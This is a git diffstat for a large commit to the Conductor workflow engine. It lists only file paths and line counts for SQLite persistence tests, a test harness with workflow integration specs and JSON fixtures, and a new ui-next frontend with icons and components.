.../sqlite/dao/SqlitePollDataTest.java | 201 + .../sqlite/dao/SqliteQueueDAOTest.java | 505 + .../util/SqliteIndexQueryBuilderTest.java | 214 + .../src/test/resources/application.properties | 9 + task-status-listener/build.gradle | 24 + .../contribs/listener/RestClientManager.java | 254 + .../contribs/listener/StatusNotifier.java | 46 + .../StatusNotifierNotificationProperties.java | 164 + .../contribs/listener/TaskNotification.java | 108 + .../listener/TaskStatusPublisher.java | 202 + .../TaskStatusPublisherConfiguration.java | 36 + test-harness/build.gradle | 233 + .../functional/FunctionalInfraExtension.java | 111 + .../org.junit.jupiter.api.extension.Extension | 1 + .../resources/junit-platform.properties | 1 + .../AbstractResiliencySpecification.groovy | 29 + .../test/base/AbstractSpecification.groovy | 123 + .../test/integration/DecisionTaskSpec.groovy | 365 + .../test/integration/DoWhileSpec.groovy | 1314 + .../DynamicForkJoinLockContentionSpec.groovy | 172 + .../integration/DynamicForkJoinSpec.groovy | 878 + .../integration/EnvBackedSecretsSpec.groovy | 104 + .../test/integration/EventTaskSpec.groovy | 132 + .../test/integration/ExclusiveJoinSpec.groovy | 361 + .../ExternalPayloadStorageSpec.groovy | 977 + .../integration/FailureWorkflowSpec.groovy | 142 + .../test/integration/ForkJoinSpec.groovy | 1404 + ...rchicalForkJoinSubworkflowRerunSpec.groovy | 569 + ...hicalForkJoinSubworkflowRestartSpec.groovy | 567 + ...rchicalForkJoinSubworkflowRetrySpec.groovy | 969 + .../integration/HttpTaskSecretSpec.groovy | 130 + .../test/integration/InlineSecretSpec.groovy | 79 + ...InlineSubWorkflowFromExpressionSpec.groovy | 333 + .../integration/JsonJQTransformSpec.groovy | 229 + .../LambdaAndTerminateTaskSpec.groovy | 284 + .../NestedForkJoinSubWorkflowSpec.groovy | 833 + .../test/integration/RetryPolicySpec.groovy | 355 + .../S3ExternalPayloadStorageE2ESpec.groovy | 316 + .../integration/SQSEventQueueE2ESpec.groovy | 576 + .../integration/SetVariableTaskSpec.groovy | 79 + .../integration/SimpleWorkflowSpec.groovy | 1047 + .../test/integration/StartWorkflowSpec.groovy | 169 + .../integration/SubWorkflowRerunSpec.groovy | 773 + .../integration/SubWorkflowRestartSpec.groovy | 458 + .../integration/SubWorkflowRetrySpec.groovy | 767 + .../integration/SubWorkflowSecretSpec.groovy | 147 + .../test/integration/SubWorkflowSpec.groovy | 508 + .../test/integration/SwitchTaskSpec.groovy | 407 + .../SyncSystemTaskSecretSpec.groovy | 110 + .../test/integration/SystemTaskSpec.groovy | 129 + .../TaskDeclaredSecretsSpec.groovy | 91 + .../integration/TaskLimitsWorkflowSpec.groovy | 224 + .../test/integration/TestWorkflowSpec.groovy | 166 + .../test/integration/WaitTaskSpec.groovy | 134 + .../WorkflowAndTaskConfigurationSpec.groovy | 1158 + .../resiliency/QueueResiliencySpec.groovy | 554 + .../test/resiliency/TaskResiliencySpec.groovy | 105 + .../test/util/WorkflowTestUtil.groovy | 422 + .../netflix/conductor/ConductorTestApp.java | 41 + .../AzuriteFileStorageConfiguration.java | 60 + .../FakeGcsFileStorageConfiguration.java | 150 + .../config/LocalStackS3Configuration.java | 91 + .../LocalStackS3FileStorageConfiguration.java | 64 + .../config/LocalStackSQSConfiguration.java | 67 + .../AbstractFileStorageIntegrationTest.java | 79 + .../AzureBlobFileStorageIntegrationTest.java | 146 + .../FileStorageIntegrationTest.java | 119 + .../GcsFileStorageIntegrationTest.java | 133 + .../S3FileStorageIntegrationTest.java | 157 + .../TestHarnessAbstractEndToEndTest.java | 308 + .../a2a/A2ADurableEngineEndToEndTest.java | 414 + .../ai/AIReasoningEndToEndTest.java | 534 + .../integration/grpc/GrpcEndToEndTest.java | 31 + .../TestHarnessAbstractGrpcEndToEndTest.java | 259 + .../http/ForkJoinSyncModeIntegrationTest.java | 817 + .../http/HttpEndToEndTestTestHarness.java | 40 + .../http/SchedulerIntegrationTest.java | 550 + .../TestHarnessAbstractHttpEndToEndTest.java | 527 + .../http/functional/FunctionalTestBase.java | 148 + .../functional/WorkflowFunctionalTest.java | 352 + .../utils/MockExternalPayloadStorage.java | 224 + .../utils/MockExternalPayloadStorageTest.java | 107 + .../conductor/test/utils/UserTask.java | 76 + .../application-functionaltest.properties | 52 + .../application-integrationtest.properties | 61 + .../resources/application-s3test.properties | 41 + .../resources/application-sqstest.properties | 44 + ...imited_task_workflow_integration_test.json | 29 + ...switch_task_workflow_integration_test.json | 173 + ...system_task_workflow_integration_test.json | 112 + ...tional_task_workflow_integration_test.json | 170 + ...cision_and_fork_join_integration_test.json | 165 + ...cision_and_terminate_integration_test.json | 113 + .../do_while_as_subtask_integration_test.json | 117 + .../test/resources/do_while_cleanup_demo.json | 48 + ...while_five_loop_over_integration_test.json | 123 + .../do_while_high_iteration_test.json | 51 + .../resources/do_while_integration_test.json | 117 + .../do_while_iteration_fix_test.json | 43 + .../do_while_multiple_integration_test.json | 151 + .../resources/do_while_set_variable_fix.json | 45 + ...o_while_sub_workflow_integration_test.json | 135 + .../test/resources/do_while_system_tasks.json | 93 + .../resources/do_while_timeline_ui_demo.json | 119 + .../do_while_with_decision_task.json | 62 + .../dynamic_fork_join_integration_test.json | 118 + .../event_workflow_integration_test.json | 45 + .../exclusive_join_integration_test.json | 114 + ..._workflow_for_terminate_task_workflow.json | 32 + .../resources/fork_join_integration_test.json | 126 + ...fork_join_permissive_integration_test.json | 111 + .../resources/fork_join_sub_workflow.json | 92 + .../fork_join_sync_mode_integration_test.json | 66 + ...ork_join_sync_nested_integration_test.json | 72 + ...n_sync_optional_fail_integration_test.json | 49 + ...ermissive_task_retry_integration_test.json | 194 + ...n_with_no_task_retry_integration_test.json | 126 + ...l_sub_workflow_forks_integration_test.json | 92 + .../resources/hierarchical_fork_join_swf.json | 71 + test-harness/src/test/resources/input.json | 0 ..._jq_transform_result_integration_test.json | 95 + .../nested_fork_join_integration_test.json | 348 + .../test/resources/nested_fork_join_swf.json | 104 + ...in_with_sub_workflow_integration_test.json | 369 + test-harness/src/test/resources/output.json | 424 + ...simple_task_workflow_integration_test.json | 29 + ...system_task_workflow_integration_test.json | 29 + ...al_json_jq_transform_integration_test.json | 40 + ...et_variable_workflow_integration_test.json | 59 + ...simple_decision_task_integration_test.json | 109 + ...le_json_jq_transform_integration_test.json | 32 + ...mple_lambda_workflow_integration_test.json | 32 + ...ne_task_sub_workflow_integration_test.json | 30 + ...et_variable_workflow_integration_test.json | 33 + .../simple_switch_task_integration_test.json | 110 + ...e_wait_task_workflow_integration_test.json | 44 + ...low_1_input_template_integration_test.json | 55 + .../simple_workflow_1_integration_test.json | 44 + .../simple_workflow_3_integration_test.json | 73 + ...complete_system_task_integration_test.json | 59 + ...w_with_optional_task_integration_test.json | 58 + ...issive_optional_task_integration_test.json | 60 + ...with_permissive_task_integration_test.json | 94 + ...w_with_resp_time_out_integration_test.json | 59 + ..._workflow_inline_def_integration_test.json | 112 + .../sqs-complete-wait-event-handler.json | 22 + .../src/test/resources/sqs-test-workflow.json | 34 + .../test/resources/start_workflow_input.json | 427 + ...switch_and_fork_join_integration_test.json | 166 + ...switch_and_terminate_integration_test.json | 114 + ...with_no_default_case_integration_test.json | 68 + ...k_completed_workflow_integration_test.json | 69 + ...nate_task_failed_workflow_integration.json | 67 + .../terminate_task_parent_workflow.json | 77 + .../terminate_task_sub_workflow.json | 13 + ...sk_terminated_status_in_do_while_test.json | 45 + ...terminate_task_terminated_status_test.json | 39 + .../test_task_failed_parent_workflow.json | 37 + .../test_task_failed_sub_workflow.json | 65 + .../wait_workflow_integration_test.json | 44 + ...workflow_that_starts_another_workflow.json | 23 + ..._with_sub_workflow_1_integration_test.json | 58 + ...workflow_with_synchronous_system_task.json | 34 + test-util/build.gradle | 57 + .../AbstractResiliencySpecification.groovy | 27 + .../test/base/AbstractSpecification.groovy | 89 + .../test/util/WorkflowTestUtil.groovy | 332 + .../netflix/conductor/ConductorTestApp.java | 41 + .../config/TestObjectMapperConfiguration.java | 28 + .../integration/AbstractEndToEndTest.java | 286 + .../grpc/AbstractGrpcEndToEndTest.java | 323 + .../application-integrationtest.properties | 40 + ui-next/.env | 8 + ui-next/.gitignore | 31 + ui-next/.husky/pre-commit | 4 + ui-next/.npmrc | 6 + ui-next/.prettierignore | 10 + ui-next/.prettierrc.json | 1 + ui-next/README.md | 403 + ui-next/docker-compose.snapshots.yml | 60 + .../snapshots.spec.ts/app-shell.png | Bin 0 -> 86477 bytes .../snapshots.spec.ts/event-handler-defs.png | Bin 0 -> 39798 bytes .../snapshots.spec.ts/executions.png | Bin 0 -> 49974 bytes .../snapshots.spec.ts/scheduler-defs.png | Bin 0 -> 42427 bytes .../switch-workflow-diagram.png | Bin 0 -> 101952 bytes .../snapshots.spec.ts/task-defs.png | Bin 0 -> 41679 bytes .../snapshots.spec.ts/workflow-defs.png | Bin 0 -> 49775 bytes .../execution-search-after-reset-desktop.png | Bin 0 -> 80126 bytes .../execution-search-after-reset-laptop.png | Bin 0 -> 76037 bytes .../execution-search-after-reset-mobile.png | Bin 0 -> 41091 bytes .../execution-search-after-reset-tablet.png | Bin 0 -> 75606 bytes ...execution-search-default-state-desktop.png | Bin 0 -> 82387 bytes .../execution-search-default-state-laptop.png | Bin 0 -> 77752 bytes .../execution-search-default-state-mobile.png | Bin 0 -> 42404 bytes .../execution-search-default-state-tablet.png | Bin 0 -> 77213 bytes ...ution-search-results-completed-desktop.png | Bin 0 -> 83607 bytes ...cution-search-results-completed-laptop.png | Bin 0 -> 79465 bytes ...cution-search-results-completed-mobile.png | Bin 0 -> 44145 bytes ...cution-search-results-completed-tablet.png | Bin 0 -> 78538 bytes .../execution-search-sql-mode-desktop.png | Bin 0 -> 74230 bytes .../execution-search-sql-mode-laptop.png | Bin 0 -> 68178 bytes .../execution-search-sql-mode-mobile.png | Bin 0 -> 33689 bytes .../execution-search-sql-mode-tablet.png | Bin 0 -> 66851 bytes ...on-search-sql-mode-toggled-off-desktop.png | Bin 0 -> 82414 bytes ...ion-search-sql-mode-toggled-off-laptop.png | Bin 0 -> 77803 bytes ...ion-search-sql-mode-toggled-off-mobile.png | Bin 0 -> 42477 bytes ...ion-search-sql-mode-toggled-off-tablet.png | Bin 0 -> 77244 bytes ...ion-search-sql-mode-with-query-desktop.png | Bin 0 -> 78899 bytes ...tion-search-sql-mode-with-query-laptop.png | Bin 0 -> 72628 bytes ...tion-search-sql-mode-with-query-mobile.png | Bin 0 -> 37927 bytes ...tion-search-sql-mode-with-query-tablet.png | Bin 0 -> 71029 bytes ...n-search-with-multiple-filters-desktop.png | Bin 0 -> 88831 bytes ...on-search-with-multiple-filters-laptop.png | Bin 0 -> 83504 bytes ...on-search-with-multiple-filters-mobile.png | Bin 0 -> 46397 bytes ...on-search-with-multiple-filters-tablet.png | Bin 0 -> 82384 bytes ...tion-search-with-status-filter-desktop.png | Bin 0 -> 84620 bytes ...ution-search-with-status-filter-laptop.png | Bin 0 -> 80430 bytes ...ution-search-with-status-filter-mobile.png | Bin 0 -> 44846 bytes ...ution-search-with-status-filter-tablet.png | Bin 0 -> 79383 bytes ...cution-search-with-workflow-id-desktop.png | Bin 0 -> 86031 bytes ...ecution-search-with-workflow-id-laptop.png | Bin 0 -> 81520 bytes ...ecution-search-with-workflow-id-mobile.png | Bin 0 -> 45049 bytes ...ecution-search-with-workflow-id-tablet.png | Bin 0 -> 80702 bytes ui-next/e2e/helpers/mockApi.ts | 242 + ui-next/e2e/integration/api-client.ts | 173 + ui-next/e2e/integration/executions.spec.ts | 128 + ui-next/e2e/integration/global-setup.ts | 124 + ui-next/e2e/integration/global-teardown.ts | 53 + .../e2e/integration/task-definitions.spec.ts | 86 + ui-next/e2e/integration/workflows.spec.ts | 202 + ui-next/e2e/navigation.spec.ts | 65 + ui-next/e2e/smoke.spec.ts | 52 + ui-next/e2e/snapshots.spec.ts | 131 + .../workflow-execution-search-filters.spec.ts | 233 + ui-next/eslint.config.mjs | 108 + ui-next/index.html | 126 + ui-next/package.json | 201 + ui-next/playwright.config.ts | 67 + ui-next/playwright.integration.config.ts | 80 + ui-next/playwright.snapshots.config.ts | 51 + ui-next/pnpm-lock.yaml | 9298 +++ ui-next/pnpm-workspace.yaml | 10 + ui-next/public/conductorLogo-dark.svg | 93 + ui-next/public/conductorLogo.png | Bin 0 -> 23178 bytes ui-next/public/conductorLogo.svg | 93 + ui-next/public/conductorLogoSmall.png | Bin 0 -> 18306 bytes ui-next/public/conductorLogoSmall.svg | 52 + ui-next/public/context.js | 48 + ui-next/public/context.js.example | 35 + ui-next/public/diagramDotBg.svg | 7493 +++ ui-next/public/enterIcon.svg | 3 + .../enterprise-add-ons/integrations.webp | Bin 0 -> 140268 bytes ui-next/public/favicon.ico | Bin 0 -> 2379 bytes ui-next/public/icons/apple-touch-icon.png | Bin 0 -> 17443 bytes ui-next/public/icons/favicon-16x16.png | Bin 0 -> 631 bytes ui-next/public/icons/favicon-32x32.png | Bin 0 -> 2379 bytes ui-next/public/icons/icon-144x144.png | Bin 0 -> 13054 bytes ui-next/public/icons/icon-192x192.png | Bin 0 -> 19077 bytes ui-next/public/icons/icon-256x256.png | Bin 0 -> 28864 bytes ui-next/public/icons/icon-384x384.png | Bin 0 -> 63828 bytes ui-next/public/icons/icon-48x48.png | Bin 0 -> 3733 bytes ui-next/public/icons/icon-512x512.png | Bin 0 -> 120233 bytes ui-next/public/icons/icon-72x72.png | Bin 0 -> 5756 bytes ui-next/public/icons/icon-96x96.png | Bin 0 -> 8112 bytes ui-next/public/icons/info-icon.svg | 8 + ui-next/public/integrations-icons/Grok.svg | 1 + .../integrations-icons/Productivity.svg | 31 + .../public/integrations-icons/airtable.svg | 1 + ui-next/public/integrations-icons/amazon.svg | 9 + ui-next/public/integrations-icons/amqp.svg | 11 + .../public/integrations-icons/anthropic.svg | 16 + .../public/integrations-icons/apachekafka.svg | 1 + ui-next/public/integrations-icons/asana.svg | 1 + .../public/integrations-icons/aws-lambda.svg | 11 + ui-next/public/integrations-icons/aws-s3.svg | 34 + ui-next/public/integrations-icons/aws-ses.svg | 1 + ui-next/public/integrations-icons/aws-sns.svg | 1 + ui-next/public/integrations-icons/aws.svg | 12 + .../integrations-icons/azure-devops.svg | 1 + .../integrations-icons/azure-functions.svg | 1 + .../integrations-icons/azure-storage.svg | 1 + ui-next/public/integrations-icons/azure.svg | 9 + .../public/integrations-icons/azureOpenAI.svg | 10 + .../integrations-icons/azure_openai.svg | 10 + .../integrations-icons/azure_service_bus.svg | 54 + ui-next/public/integrations-icons/bedrock.svg | 12 + .../public/integrations-icons/bitbucket.svg | 1 + .../public/integrations-icons/circleci.svg | 1 + .../public/integrations-icons/clickhouse.svg | 3 + .../public/integrations-icons/cloudflare.svg | 1 + ui-next/public/integrations-icons/cohere.svg | 30 + .../public/integrations-icons/commonroom.svg | 8 + .../public/integrations-icons/conductor.svg | 9 + .../public/integrations-icons/confluent.svg | 11 + ui-next/public/integrations-icons/datadog.svg | 1 + ui-next/public/integrations-icons/default.svg | 3 + .../integrations-icons/digitalocean.svg | 1 + ui-next/public/integrations-icons/discord.svg | 1 + .../public/integrations-icons/discourse.svg | 8 + ui-next/public/integrations-icons/docker.svg | 4 + .../integrations-icons/firebase-firestore.svg | 22 + .../public/integrations-icons/freshdesk.svg | 1 + .../public/integrations-icons/gcp_pubsub.svg | 1 + ui-next/public/integrations-icons/gemini.svg | 11 + ui-next/public/integrations-icons/git.svg | 1 + ui-next/public/integrations-icons/github.svg | 3 + ui-next/public/integrations-icons/gitlab.svg | 22 + ui-next/public/integrations-icons/gmail.svg | 26 + .../google-cloud-functions.svg | 38 + .../google-cloud-storage.svg | 38 + .../public/integrations-icons/google-docs.svg | 88 + .../integrations-icons/google-drive.svg | 8 + .../integrations-icons/google-sheets.svg | 89 + .../integrations-icons/google-slides.svg | 96 + .../integrations-icons/google_sheets.svg | 26 + .../public/integrations-icons/googleads.svg | 13 + .../integrations-icons/googleanalytics.svg | 10 + .../integrations-icons/googlecalendar.svg | 1 + .../public/integrations-icons/googledrive.svg | 1 + .../integrations-icons/googlegemini.svg | 1 + ui-next/public/integrations-icons/grafana.svg | 57 + ui-next/public/integrations-icons/hubspot.svg | 1 + .../public/integrations-icons/huggingFace.svg | 10 + ui-next/public/integrations-icons/ibm_mq.svg | 18 + .../public/integrations-icons/instaclustr.svg | 15 + .../public/integrations-icons/intercom.svg | 1 + ui-next/public/integrations-icons/jira.svg | 26 + ui-next/public/integrations-icons/kafka.svg | 17 + .../integrations-icons/kafka_confluent.svg | 30 + .../public/integrations-icons/kafka_msk.svg | 10 + .../public/integrations-icons/kubernetes.svg | 19 + ui-next/public/integrations-icons/linear.svg | 1 + ui-next/public/integrations-icons/mailgun.svg | 1 + .../public/integrations-icons/menuBook.svg | 3 + ui-next/public/integrations-icons/mistral.svg | 25 + .../public/integrations-icons/mistralai.svg | 1 + .../public/integrations-icons/mixpanel.svg | 1 + ui-next/public/integrations-icons/mongo.svg | 2 + ui-next/public/integrations-icons/mongodb.svg | 26 + .../public/integrations-icons/mongovector.svg | 5 + ui-next/public/integrations-icons/mysql.svg | 26 + ui-next/public/integrations-icons/nats.svg | 12 + ui-next/public/integrations-icons/notion.svg | 9 + ui-next/public/integrations-icons/okta.svg | 10 + ui-next/public/integrations-icons/ollama.svg | 1 + ui-next/public/integrations-icons/openAI.svg | 10 + .../public/integrations-icons/pagerduty.svg | 1 + .../public/integrations-icons/perplexity.svg | Bin 0 -> 1846 bytes .../public/integrations-icons/pgvector.svg | 22 + .../public/integrations-icons/pinecone.svg | 6 + .../public/integrations-icons/pipedrive.svg | 4 + .../public/integrations-icons/postgres.svg | 2 + .../public/integrations-icons/private-ai.svg | 10 + .../public/integrations-icons/rabbitmq.svg | 10 + ui-next/public/integrations-icons/redis.svg | 1 + .../integrations-icons/relational_db.svg | 7 + .../public/integrations-icons/sendgrid.svg | 23 + ui-next/public/integrations-icons/sentry.svg | 1 + ui-next/public/integrations-icons/slack.svg | 9 + ui-next/public/integrations-icons/stripe.svg | 1 + .../public/integrations-icons/symphone.svg | 4 + ui-next/public/integrations-icons/teams.svg | 9 + .../public/integrations-icons/telegram.svg | 1 + .../public/integrations-icons/terraform.svg | 8 + ui-next/public/integrations-icons/trello.svg | 2 + ui-next/public/integrations-icons/twilio.svg | 1 + .../public/integrations-icons/vertexAI.svg | 285 + .../public/integrations-icons/weaviate.svg | 6 + .../public/integrations-icons/wordpress.svg | 31 + ui-next/public/integrations-icons/youtube.svg | 8 + ui-next/public/integrations-icons/zendesk.svg | 25 + ui-next/public/logo.png | Bin 0 -> 185658 bytes ui-next/public/orkes-logo-purple-2x.png | Bin 0 -> 84898 bytes .../public/orkes-logo-purple-inverted-2x.png | Bin 0 -> 78897 bytes .../programming-language-icons/python.svg | 3 + ui-next/public/robots.txt | 3 + ui-next/public/searchIconBg.svg | 3 + ui-next/public/wh-icons/github-icon.svg | 10 + .../public/wh-icons/microsoft-teams-icon.svg | 28 + ui-next/public/wh-icons/send-grid-icon.svg | 15 + ui-next/public/wh-icons/slack-icon.svg | 13 + ui-next/public/wh-icons/stripe-icon.svg | 3 + ui-next/src/commonServices/execution.ts | 55 + ui-next/src/commonServices/index.ts | 1 + ui-next/src/components/ApiSearchModal.tsx | 183 + ui-next/src/components/App.tsx | 108 + ui-next/src/components/AutoRefreshButton.tsx | 175 + .../BlockNavigationWithConfirmation.tsx | 110 + ui-next/src/components/EmptyPageIntro.tsx | 218 + ui-next/src/components/ErrorBoundary.tsx | 77 + .../components/FeatureDisabledComponent.tsx | 32 + .../src/components/FeatureDisabledWrapper.tsx | 69 + .../ConductorAutocompleteArrayField.tsx | 143 + .../ConductorAutocompleteVariables.tsx | 490 + .../ConductorFieldTypeDropdown.tsx | 84 + .../FlatMapForm/ConductorFlatMapForm.tsx | 197 + .../FlatMapForm/ConductorKeyValueInput.tsx | 283 + .../ConductorStringOrJsonInput.tsx | 256 + .../FlatMapForm/customFilter.test.ts | 47 + .../src/components/FlatMapForm/formOptions.ts | 25 + ui-next/src/components/IntegrationIcon.tsx | 34 + ui-next/src/components/IntegrationsIcon.tsx | 16 + ui-next/src/components/KeyValueTable.tsx | 154 + ui-next/src/components/PromptVariables.tsx | 59 + ui-next/src/components/ReactJson.tsx | 349 + ui-next/src/components/RoleTagChip.tsx | 36 + ui-next/src/components/SafariWarning.tsx | 20 + ui-next/src/components/StatusBadge.tsx | 38 + ui-next/src/components/StatusTagChip.tsx | 35 + .../SubjectSelector/SubjectMultiPicker.tsx | 106 + .../SubjectSelector/SubjectSelector.tsx | 146 + .../src/components/SubjectSelector/helpers.ts | 4 + .../src/components/SubjectSelector/index.ts | 4 + .../src/components/SubjectSelector/types.ts | 12 + ui-next/src/components/TagFilter.tsx | 388 + .../src/components/WorkflowStatusBadge.tsx | 35 + ui-next/src/components/ZoomControlsButton.tsx | 46 + .../components/features/OnboardingQuiz.tsx | 311 + .../src/components/features/agent/Agent.tsx | 6 + .../features/agent/AgentContext.tsx | 66 + .../features/agent/AgentEditorController.tsx | 4 + .../components/features/agent/agent-types.ts | 26 + .../features/agent/agentAtomsStore.ts | 150 + .../src/components/features/agent/helpers.ts | 7 + .../components/features/agent/useAiContext.ts | 75 + .../components/features/auth/AuthGuard.tsx | 59 + .../components/features/auth/AuthProvider.tsx | 73 + .../auth/NoAuthProvider/NoAuthProvider.tsx | 39 + .../features/auth/NoAuthProvider/index.ts | 1 + .../src/components/features/auth/constants.ts | 3 + .../src/components/features/auth/context.ts | 23 + ui-next/src/components/features/auth/index.ts | 1 + .../components/features/auth/silentRefresh.ts | 26 + .../features/auth/tokenManagerJotai.ts | 110 + ui-next/src/components/features/auth/types.ts | 51 + .../src/components/features/auth/useAuth.ts | 14 + .../components/features/charts/CacheChart.tsx | 80 + .../features/charts/ErrorsChart.tsx | 154 + .../features/charts/LatencyChart.tsx | 110 + .../features/charts/MetricsChart.tsx | 42 + .../features/charts/RequestsChart.tsx | 66 + .../components/features/charts/chartUtils.ts | 137 + .../src/components/features/charts/index.ts | 9 + ui-next/src/components/features/flow/Flow.tsx | 340 + .../features/flow/FlowFullscreen.scss | 5 + .../features/flow/ReaflowOverrides.scss | 5 + .../RichAddTaskMenu/AddTaskSidebar.tsx | 867 + .../IntegrationDrillDownContent.tsx | 429 + .../RichAddTaskMenu/QuickAddMenu.tsx | 939 + .../components/RichAddTaskMenu/helpers.ts | 105 + .../RichAddTaskMenu/iconsForTaskTypes.ts | 111 + .../flow/components/RichAddTaskMenu/index.ts | 2 + .../RichAddTaskMenu/state/actions.ts | 279 + .../RichAddTaskMenu/state/guards.ts | 34 + .../components/RichAddTaskMenu/state/hook.ts | 158 + .../components/RichAddTaskMenu/state/index.ts | 2 + .../RichAddTaskMenu/state/machine.ts | 294 + .../RichAddTaskMenu/state/services.ts | 107 + .../components/RichAddTaskMenu/state/types.ts | 173 + .../RichAddTaskMenu/supportedTasks.ts | 349 + .../RichAddTaskMenu/taskGenerator.ts | 857 + .../components/graphs/CustomEdgeButton.tsx | 257 + .../flow/components/graphs/CustomLabel.tsx | 85 + .../flow/components/graphs/CustomNode.jsx | 94 + .../flow/components/graphs/CustomPort.jsx | 42 + .../PanAndZoomWrapper/PanAndZoomProvider.tsx | 19 + .../PanAndZoomWrapper/PanAndZoomWrapper.tsx | 314 + .../graphs/PanAndZoomWrapper/SearchBox.tsx | 96 + .../graphs/PanAndZoomWrapper/ZoomControls.tsx | 294 + .../graphs/PanAndZoomWrapper/constants.ts | 6 + .../PanAndZoomWrapper/icons/DragNDrop.tsx | 18 + .../graphs/PanAndZoomWrapper/icons/Home.tsx | 18 + .../graphs/PanAndZoomWrapper/icons/Minus.tsx | 18 + .../graphs/PanAndZoomWrapper/icons/Plus.tsx | 18 + .../graphs/PanAndZoomWrapper/icons/Search.tsx | 18 + .../graphs/PanAndZoomWrapper/index.ts | 3 + .../graphs/PanAndZoomWrapper/state/actions.ts | 273 + .../PanAndZoomWrapper/state/context.tsx | 12 + .../PanAndZoomWrapper/state/helpers.test.ts | 76 + .../graphs/PanAndZoomWrapper/state/helpers.ts | 180 + .../graphs/PanAndZoomWrapper/state/hook.ts | 194 + .../graphs/PanAndZoomWrapper/state/index.ts | 4 + .../graphs/PanAndZoomWrapper/state/machine.ts | 170 + .../graphs/PanAndZoomWrapper/state/types.ts | 177 + .../features/flow/components/graphs/index.ts | 5 + .../components/shapes/DecisionOperator.tsx | 101 + .../flow/components/shapes/DoWhileTask.jsx | 185 + .../components/shapes/DynamicTasksCards.jsx | 188 + .../flow/components/shapes/StarShape.jsx | 50 + .../components/shapes/SubWorkflowTask.jsx | 115 + .../shapes/SwitchJoinPseudoTask.jsx | 50 + .../shapes/TaskCard/AddPathButton.tsx | 38 + .../shapes/TaskCard/CardAttemptsBadge.jsx | 25 + .../components/shapes/TaskCard/CardIcon.jsx | 140 + .../components/shapes/TaskCard/CardLabel.jsx | 46 + .../shapes/TaskCard/CardStatusBadge.jsx | 90 + .../shapes/TaskCard/DeleteButton.tsx | 48 + .../shapes/TaskCard/DynamicTask.tsx | 36 + .../components/shapes/TaskCard/EventTask.jsx | 49 + .../shapes/TaskCard/ForkJoinDynamicTask.jsx | 61 + .../shapes/TaskCard/HTTPPollTask.jsx | 57 + .../components/shapes/TaskCard/HTTPTask.jsx | 64 + .../components/shapes/TaskCard/INLINETask.jsx | 42 + .../components/shapes/TaskCard/JDBCTask.tsx | 29 + .../shapes/TaskCard/JSONJQTransformTask.jsx | 43 + .../components/shapes/TaskCard/KAFKATask.jsx | 69 + .../components/shapes/TaskCard/SimpleTask.jsx | 29 + .../shapes/TaskCard/StartWorkflowTask.jsx | 56 + .../components/shapes/TaskCard/SwitchAdd.tsx | 92 + .../components/shapes/TaskCard/TaskCard.tsx | 198 + .../shapes/TaskCard/WaitTaskInfo.tsx | 66 + .../shapes/TaskCard/helpers.test.ts | 168 + .../components/shapes/TaskCard/helpers.ts | 58 + .../shapes/TaskCard/icons/Buildings.jsx | 72 + .../shapes/TaskCard/icons/BusinessRule.tsx | 64 + .../shapes/TaskCard/icons/CheckIcon.jsx | 22 + .../shapes/TaskCard/icons/DeleteIcon.jsx | 33 + .../shapes/TaskCard/icons/DynamicFanout.tsx | 21 + .../shapes/TaskCard/icons/DynamicFork.tsx | 19 + .../shapes/TaskCard/icons/Event.tsx | 33 + .../TaskCard/icons/ExclamationCircleIcon.jsx | 34 + .../shapes/TaskCard/icons/ForkIcon.tsx | 25 + .../shapes/TaskCard/icons/ForkJoinIcon.tsx | 16 + .../shapes/TaskCard/icons/GetDocument.tsx | 31 + .../shapes/TaskCard/icons/GetWorkflow.tsx | 20 + .../components/shapes/TaskCard/icons/Http.tsx | 58 + .../shapes/TaskCard/icons/HttpPoll.tsx | 28 + .../shapes/TaskCard/icons/Inline.tsx | 48 + .../components/shapes/TaskCard/icons/Json.tsx | 50 + .../shapes/TaskCard/icons/Kafka.jsx | 15 + .../shapes/TaskCard/icons/LlmChatComplete.tsx | 18 + .../TaskCard/icons/LlmGenerateEmbeddings.tsx | 30 + .../TaskCard/icons/LlmGetEmbeddings.tsx | 30 + .../TaskCard/icons/LlmIndexDocument.tsx | 30 + .../shapes/TaskCard/icons/LlmIndexText.tsx | 45 + .../shapes/TaskCard/icons/LlmSearchIndex.tsx | 30 + .../TaskCard/icons/LlmStoreEmbeddings.jsx | 18 + .../shapes/TaskCard/icons/LlmTextComplete.tsx | 50 + .../shapes/TaskCard/icons/LoopIcon.tsx | 50 + .../shapes/TaskCard/icons/MCPIcon.tsx | 20 + .../shapes/TaskCard/icons/MergeIcon.tsx | 48 + .../shapes/TaskCard/icons/MinusIcon.jsx | 22 + .../shapes/TaskCard/icons/OpsGenie.tsx | 26 + .../shapes/TaskCard/icons/PlusIcon.jsx | 30 + .../shapes/TaskCard/icons/QueryProcessor.tsx | 18 + .../shapes/TaskCard/icons/Sendgrid.tsx | 29 + .../shapes/TaskCard/icons/Simple.tsx | 16 + .../shapes/TaskCard/icons/StackIcon.jsx | 41 + .../shapes/TaskCard/icons/SubWorkflow.tsx | 22 + .../shapes/TaskCard/icons/Switch.tsx | 38 + .../shapes/TaskCard/icons/Terminate.tsx | 17 + .../TaskCard/icons/TerminateWorkFlow.tsx | 76 + .../shapes/TaskCard/icons/UpdateSecret.tsx | 27 + .../shapes/TaskCard/icons/UpdateTaskIcon.tsx | 32 + .../shapes/TaskCard/icons/Variable.tsx | 21 + .../components/shapes/TaskCard/icons/Wait.tsx | 55 + .../shapes/TaskCard/icons/WaitForWebhook.tsx | 54 + .../shapes/TaskCard/icons/WarningIcon.jsx | 31 + .../shapes/TaskCard/icons/WorkFlow.tsx | 71 + .../shapes/TaskCard/icons/Worker.tsx | 50 + .../components/shapes/TaskCard/icons/types.ts | 9 + .../components/shapes/TaskDescription.tsx | 73 + .../components/shapes/TaskShape/Shape.tsx | 119 + .../components/shapes/TaskShape/TaskShape.tsx | 57 + .../flow/components/shapes/TaskShape/index.ts | 2 + .../flow/components/shapes/TaskSummary.jsx | 114 + .../flow/components/shapes/TerminalTask.jsx | 50 + .../features/flow/components/shapes/styles.ts | 91 + .../flow/components/shapes/testDiagrams.js | 708 + .../flow/dragDrop/DraggableOverlay.tsx | 73 + .../features/flow/dragDrop/Handle.tsx | 104 + .../features/flow/dragDrop/boxCollision.ts | 101 + .../features/flow/dragDrop/hooks.ts | 181 + .../features/flow/dragDrop/index.ts | 4 + .../features/flow/nodes/constants.js | 1 + .../components/features/flow/nodes/index.js | 22 + .../features/flow/nodes/layoutTestData.js | 116 + .../features/flow/nodes/mapper/common.test.ts | 105 + .../features/flow/nodes/mapper/common.ts | 92 + .../features/flow/nodes/mapper/constants.ts | 1 + .../features/flow/nodes/mapper/core.test.js 